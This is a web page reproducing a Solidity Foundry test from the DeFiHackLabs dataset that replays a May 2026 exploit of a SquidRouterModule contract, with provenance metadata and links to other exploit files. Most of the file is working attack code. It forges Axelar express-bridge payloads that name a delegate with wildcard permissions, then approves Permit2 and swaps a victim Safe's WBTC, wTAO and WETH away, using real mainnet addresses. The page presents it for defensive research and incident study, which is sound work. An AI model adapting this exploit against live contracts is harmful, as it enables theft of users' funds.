Public reproduction file
src/test/2026-05/SquidRouterModule_exp.sol
Public reproduction file for dataset entry SquidRouterModule.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 0.25 WBTC + 0.29 wTAO + 0.02 WETH8// Attacker : 0x9bdc730183821b6bb2b51be30b77c964fa645b919// Attack Contract : 0xe1d5fcfbba4d46f4937de369de415dd7e2d3265a10// Vulnerable Contract : 0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca11// Attack Tx : https://etherscan.io/tx/0x2d52984706d5ac567d554d40a62beeeda9e3901dd3847e93dd2a3117902abfeb13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca#code16// @Analysis17// Source : https://t.me/defimon_alerts/304518//19// The public Axelar express path accepts a caller-supplied payload and uses the delegate encoded in that payload20// for Safe permission checks. The attacker supplied a payload naming a delegate with wildcard permissions on the21// victim Safe, then used the module to approve Permit2 and swap the Safe's WBTC, wTAO, and WETH into u.23address constant SQUID_ROUTER_MODULE = 0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca;24address constant ATTACKER = 0x9BDC730183821b6bb2B51BE30B77C964FA645b91;25address constant ATTACK_CONTRACT = 0xe1d5FCfBba4d46F4937de369De415dD7E2D3265a;26address constant VICTIM_SAFE = 0xc52950d522034a558903CC409c8bbF1f4Decc62e;27address constant PERMISSIONED_DELEGATE = 0x352C6a9f59357457b83D97e33cE28B333a7a1F3c;28address constant UNIVERSAL_ROUTER = 0x66a9893cC07D91D95644AEDD05D03f95e1dBA8Af;29address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;31address constant U_TOKEN = 0xe6Ff0FE017D09D690493deC0F0f55E8f9Cdc3512;32address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;33address constant WTAO = 0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44;34address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;36address constant WBTC_U_POOL = 0x52821a7B74A9388000fC846E1D4fb9C48afCbfE6;37address constant WTAO_U_POOL = 0x5065302Afc91306C2919342766661A0D01464360;38address constant WETH_U_POOL = 0x97Aca462462549E218bFb16CcfF403739cD5B688;40string constant SQUID_ROUTER_SOURCE = "0xce16F69375520ab01377ce7B88f5BA8C48F8D666";41string constant AXELAR_TOKEN_SYMBOL = "WETH";42uint24 constant POOL_FEE = 500;44enum ExecuteActionType {45 UNI_V2_SWAP_EXACT_IN,46 UNI_V2_SWAP_EXACT_OUT,47 UNI_V3_SWAP_EXACT_IN,48 UNI_V3_SWAP_EXACT_OUT,49 ERC20_APPROVE,50 PERMIT2_APPROVE,51 NATIVE_WRAP,52 NATIVE_UNWRAP53}55struct ExecuteAction {56 ExecuteActionType actionType;57 bytes encodedData;58}60struct ActionsExecutionParams {61 ExecuteAction[] actions;62 bool isStrict;63}65interface ISquidRouterModule {66 function expressExecuteWithToken(67 bytes32 commandId,68 string calldata sourceChain,69 string calldata sourceAddress,70 bytes calldata payload,71 string calldata symbol,72 uint256 amount73 ) external payable;74}76contract ContractTest is BaseTestWithBalanceLog {77 ExploitExecutor private executor;79 function setUp() public {80 uint256 forkBlock = 25_170_474;81 vm.createSelectFork("mainnet", forkBlock);82 vm.roll(25_170_475);83 vm.warp(1_779_689_879);85 fundingToken = WBTC;86 multiAssetLog = true;87 attacker = VICTIM_SAFE;88 _addFundingToken(WBTC);89 _addFundingToken(WTAO);90 _addFundingToken(WETH_TOKEN);91 _addFundingToken(U_TOKEN);92 _addFundingToken(address(0));94 vm.label(SQUID_ROUTER_MODULE, "SquidRouterModule");95 vm.label(ATTACKER, "Attacker");96 vm.label(ATTACK_CONTRACT, "Attack Contract");97 vm.label(VICTIM_SAFE, "Victim Safe");98 vm.label(PERMISSIONED_DELEGATE, "Permissioned Delegate");99 vm.label(UNIVERSAL_ROUTER, "Universal Router");100 vm.label(PERMIT2, "Permit2");101 vm.label(U_TOKEN, "u");102 vm.label(WBTC, "WBTC");103 vm.label(WTAO, "wTAO");104 vm.label(WETH_TOKEN, "WETH");105 vm.label(WBTC_U_POOL, "WBTC-u pool");106 vm.label(WTAO_U_POOL, "wTAO-u pool");107 vm.label(WETH_U_POOL, "WETH-u pool");109 executor = new ExploitExecutor();110 vm.etch(ATTACK_CONTRACT, address(executor).code);111 }113 function testExploit() public balanceLog {114 uint256 safeWbtcBefore = IERC20(WBTC).balanceOf(VICTIM_SAFE);115 uint256 safeWtaoBefore = IERC20(WTAO).balanceOf(VICTIM_SAFE);116 uint256 safeWethBefore = IERC20(WETH_TOKEN).balanceOf(VICTIM_SAFE);117 uint256 safeNativeBefore = VICTIM_SAFE.balance;118 uint256 safeUBefore = IERC20(U_TOKEN).balanceOf(VICTIM_SAFE);120 uint256 poolWbtcBefore = IERC20(WBTC).balanceOf(WBTC_U_POOL);121 uint256 poolWtaoBefore = IERC20(WTAO).balanceOf(WTAO_U_POOL);122 uint256 poolWethBefore = IERC20(WETH_TOKEN).balanceOf(WETH_U_POOL);124 // step 1: spoof express bridge fulfillment payloads that name the permissioned delegate.125 vm.prank(ATTACKER, ATTACKER);126 ExploitExecutor(ATTACK_CONTRACT).attack();128 // step 2: the Safe's valuable balances were consumed by the routed swaps.129 assertEq(IERC20(WBTC).balanceOf(VICTIM_SAFE), 0);130 assertEq(IERC20(WTAO).balanceOf(VICTIM_SAFE), 0);131 assertEq(IERC20(WETH_TOKEN).balanceOf(VICTIM_SAFE), 0);132 assertEq(VICTIM_SAFE.balance, 0);134 // step 3: the three pools received the assets, and the Safe received u.135 assertEq(IERC20(WBTC).balanceOf(WBTC_U_POOL) - poolWbtcBefore, safeWbtcBefore);136 assertEq(IERC20(WTAO).balanceOf(WTAO_U_POOL) - poolWtaoBefore, safeWtaoBefore);137 assertEq(IERC20(WETH_TOKEN).balanceOf(WETH_U_POOL) - poolWethBefore, safeNativeBefore + safeWethBefore);138 assertGt(IERC20(U_TOKEN).balanceOf(VICTIM_SAFE), safeUBefore);139 }140}142contract ExploitExecutor {143 ISquidRouterModule private constant module = ISquidRouterModule(SQUID_ROUTER_MODULE);145 function attack() external {146 _express(_swapAllTokenActions(WBTC));147 _express(_swapAllTokenActions(WTAO));148 _express(_wrapAndSwapWethActions());149 }151 function _express(152 ActionsExecutionParams memory params153 ) private {154 bytes memory payload = abi.encode(SQUID_ROUTER_MODULE, VICTIM_SAFE, PERMISSIONED_DELEGATE, params);156 module.expressExecuteWithToken(bytes32(0), "", SQUID_ROUTER_SOURCE, payload, AXELAR_TOKEN_SYMBOL, 0);157 }159 function _swapAllTokenActions(160 address token161 ) private view returns (ActionsExecutionParams memory params) {162 uint256 amountIn = IERC20(token).balanceOf(VICTIM_SAFE);164 params.actions = new ExecuteAction[](3);165 params.actions[0] = _erc20Approve(token);166 params.actions[1] = _permit2Approve(token);167 params.actions[2] = _v3ExactInputSwap(token, amountIn);168 params.isStrict = false;169 }171 function _wrapAndSwapWethActions() private view returns (ActionsExecutionParams memory params) {172 uint256 nativeAmount = VICTIM_SAFE.balance;173 uint256 wethAmountIn = nativeAmount + IERC20(WETH_TOKEN).balanceOf(VICTIM_SAFE);175 params.actions = new ExecuteAction[](4);176 params.actions[0] =177 ExecuteAction({actionType: ExecuteActionType.NATIVE_WRAP, encodedData: abi.encode(nativeAmount)});178 params.actions[1] = _erc20Approve(WETH_TOKEN);179 params.actions[2] = _permit2Approve(WETH_TOKEN);180 params.actions[3] = _v3ExactInputSwap(WETH_TOKEN, wethAmountIn);181 params.isStrict = false;182 }184 function _erc20Approve(185 address token186 ) private pure returns (ExecuteAction memory) {187 return ExecuteAction({188 actionType: ExecuteActionType.ERC20_APPROVE, encodedData: abi.encode(token, PERMIT2, type(uint256).max)189 });190 }192 function _permit2Approve(193 address token194 ) private pure returns (ExecuteAction memory) {195 return ExecuteAction({196 actionType: ExecuteActionType.PERMIT2_APPROVE,197 encodedData: abi.encode(token, UNIVERSAL_ROUTER, type(uint160).max)198 });199 }201 function _v3ExactInputSwap(202 address tokenIn,203 uint256 amountIn204 ) private view returns (ExecuteAction memory) {205 return ExecuteAction({206 actionType: ExecuteActionType.UNI_V3_SWAP_EXACT_IN,207 encodedData: abi.encode(208 UNIVERSAL_ROUTER, amountIn, 0, block.timestamp + 1000, abi.encodePacked(tokenIn, POOL_FEE, U_TOKEN)209 )210 });211 }212}Analysis
Dataset entry
Public Foundry test for “SquidRouterModule” (2026-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9bdc730183821b6bb2b51be30b77c964fa645b91
- Attack Contract
0xe1d5fcfbba4d46f4937de369de415dd7e2d3265a
- Vulnerable Contract
0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca
- Attack Tx
0x2d52984706d5ac567d554d40a62beeeda9e3901dd3847e93dd2a3117902abfeb
File record
- Name
- SquidRouterModule
- Path
- src/test/2026-05/SquidRouterModule_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c224f4512a4e931646197f0f8a814aed4d971dd0
- Language
- Solidity
- Size
- 213 lines
- Date
- 2026-05-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/SquidRouterModule_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c224f4512a4e931646197f0f8a814aed4d971dd0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.